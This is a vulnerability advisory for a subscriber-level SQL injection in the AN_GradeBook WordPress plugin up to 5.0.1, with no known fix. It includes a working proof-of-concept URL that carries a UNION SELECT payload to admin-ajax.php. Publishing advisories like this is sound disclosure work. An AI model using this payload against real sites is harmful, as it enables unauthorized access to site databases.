WordPress Plugin Vulnerabilities

AN_GradeBook <= 5.0.1 - Subscriber+ SQLi

Description

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as subscriber

Proof of Concept

Access the following URL to demonstrate SQLi:

http://example.com/wp-admin/admin-ajax.php?action=course&id=-9264%20UNION%20ALL%20SELECT%20CONCAT(0x7171717071,0x5141527377414962644f774c4477524d43624b4e5a74584c594d58596f444141504e767158546162,0x717a767a71),NULL,NULL,NULL,NULL--%20-

Affects Plugins

No known fix

References

Classification

Type
SQLI
OWASP top 10
CWE
CVSS

Miscellaneous

Original Researcher
Lukas Kinneberg
Submitter
Lukas Kinneberg
Submitter website
Verified
Yes

Timeline

Publicly Published
2023-06-26 (about 10 months ago)
Added
2023-06-26 (about 10 months ago)
Last Updated
2023-06-26 (about 10 months ago)

Other